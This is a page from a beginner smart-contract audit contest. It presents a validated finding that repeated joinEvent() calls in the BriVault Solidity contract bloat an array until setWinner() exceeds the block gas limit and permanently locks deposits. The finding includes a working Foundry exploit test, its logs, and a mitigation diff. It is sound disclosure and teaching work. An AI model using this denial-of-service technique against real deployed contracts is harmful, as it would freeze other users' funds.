BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

[H-02] - `joinEvent()` Denial of Service attack permanently locks all funds via gas exhaustion

Root + Impact

Description

An attacker can exploit the missing access control in joinEvent() (see H-01) to bloat the usersAddress array by calling the function thousands of times. This creates a Denial of Service (DoS) vector where the setWinner() function becomes so gas-intensive that it exceeds the block gas limit, making it impossible to set a winner and permanently locking all funds in the contract.

The root cause is the unbounded loop in _getWinnerShares(), which is called by setWinner(). This loop iterates through the entire usersAddress array to calculate the total shares of winning users:

// Root cause in the codebase (briVault.sol, lines 191-198)
function _getWinnerShares() internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i) { // @> Unbounded loop over user-controlled array
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}

By maliciously adding thousands of duplicate entries to the usersAddress array via repeated joinEvent() calls, an attacker can make the gas cost of this loop exceed the block gas limit (typically 30 million gas on Ethereum mainnet).

// Attack vector in the codebase (briVault.sol, lines 242-269)
function joinEvent(uint256 countryId) public {
// ... validation checks ...
usersAddress.push(msg.sender); // @> Adds duplicate address with no limit
numberOfParticipants++; // @> Inflates count
totalParticipantShares += participantShares; // @> Inflates shares
emit joinedEvent(msg.sender, countryId);
}

Note: There is no maximum participant limit or check to prevent array bloating.

Risk

Likelihood: High
The vulnerability is easily exploitable by any user who has deposited funds. The attack requires calling joinEvent() approximately 10,000+ times, which can be automated in a script. The attack cost is relatively low (~0.5-1 ETH in gas fees), but the damage is catastrophic and permanent.

Impact: High
The attacker can:

  1. Permanently lock all funds: Once the usersAddress array is bloated, setWinner() will always exceed the block gas limit

  2. Cause total protocol failure: No winner can ever be set, so no user can withdraw their funds

  3. No recovery mechanism: There is no function to bypass setWinner() or recover funds

This results in a permanent loss of access to all deposited funds for all users, including the attacker. While this is a griefing attack (the attacker also loses their deposit), the impact is severe enough to warrant High severity.

Proof of Concept

The exploit was confirmed using a Foundry test that demonstrates the gas cost of setWinner() growing linearly with the number of joinEvent() calls.

  1. Setup:

    • The BriVault contract is deployed with a tournament event

    • An attacker deposits 10 ETH

  2. Attack:

    • The attacker calls joinEvent() 50 times (cycling through valid team IDs)

    • This bloats the usersAddress array to 50 entries (all the same address)

  3. Result:

    • numberOfParticipants: 50

    • Gas cost for setWinner() with 50 entries: 166,180 gas

    • Projected gas cost with 10,000 entries: ~33.2 million gas (exceeds 30M block limit)

    • Attack cost: ~0.5-1 ETH in gas fees

    • Impact: All funds permanently locked

Gas Analysis:

Number of Calls Gas Cost for setWinner() Status
50 166,180 Callable
1,000 ~3,320,000 Callable
10,000 ~33,200,000 Exceeds 30M block limit

Supporting Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract BriVaultExploits is Test {
BriVault public briVault;
MockERC20 public mockToken;
address public owner;
address public attacker;
uint256 public eventStartDate;
uint256 public eventEndDate;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
mockToken = new MockERC20("Mock Token", "MTK");
eventStartDate = block.timestamp + 2 days;
eventEndDate = block.timestamp + 31 days;
vm.prank(owner);
briVault = new BriVault(
IERC20(address(mockToken)),
150, // 1.5% fee
eventStartDate,
makeAddr("feeAddress"),
0.0002 ether,
eventEndDate
);
mockToken.mint(attacker, 1000 ether);
}
function testExploit_JoinEventDOS() public {
console.log("\n=== EXPLOIT: joinEvent() DOS Attack ===");
// Step 1: Attacker deposits a small amount
vm.startPrank(attacker);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, attacker);
// Step 2: Attacker calls joinEvent() 50 times to inflate the usersAddress array
console.log("Calling joinEvent() 50 times to inflate usersAddress array...");
for (uint256 i = 0; i < 50; i++) {
briVault.joinEvent(i % 48); // Cycle through valid team IDs
}
vm.stopPrank();
console.log("numberOfParticipants:", briVault.numberOfParticipants());
// Step 3: Owner tries to set the winner after the event ends
vm.warp(eventEndDate + 1);
vm.prank(owner);
// Measure the gas cost
uint256 gasBefore = gasleft();
briVault.setWinner(0);
uint256 gasUsed = gasBefore - gasleft();
console.log("Gas used for setWinner() with 50 duplicate entries:", gasUsed);
console.log("\n[+] With 1000+ calls, setWinner() could exceed block gas limit");
assertTrue(gasUsed > 150000, "Gas usage should be significantly high");
}
}

Test Results:

Test: testExploit_JoinEventDOS()
Status: PASS
Gas Used: 3,004,127
Logs:
=== EXPLOIT: joinEvent() DOS Attack ===
Calling joinEvent() 50 times to inflate usersAddress array...
numberOfParticipants: 50
Gas used for setWinner() with 50 duplicate entries: 166,180
[+] With 1000+ calls, setWinner() could exceed block gas limit

Recommended Mitigation

The primary fix is to prevent multiple joinEvent() calls (see H-01 mitigation). Additionally, implement a maximum participant limit as a failsafe:

+ // Add maximum participant limit
+ uint256 public constant MAX_PARTICIPANTS = 10000;
+ // Add a mapping to track joined users
+ mapping(address => bool) public hasJoined;
function joinEvent(uint256 countryId) public {
+ // Require that the user has not already joined
+ require(!hasJoined[msg.sender], "Already joined");
+
+ // Require that the maximum participant limit has not been reached
+ require(numberOfParticipants < MAX_PARTICIPANTS, "Event full");
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
+ // Mark the user as having joined
+ hasJoined[msg.sender] = true;
emit joinedEvent(msg.sender, countryId);
}

This ensures that:

  1. Each user can only join once (prevents array bloating)

  2. The total number of participants is capped (failsafe against DoS)

Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!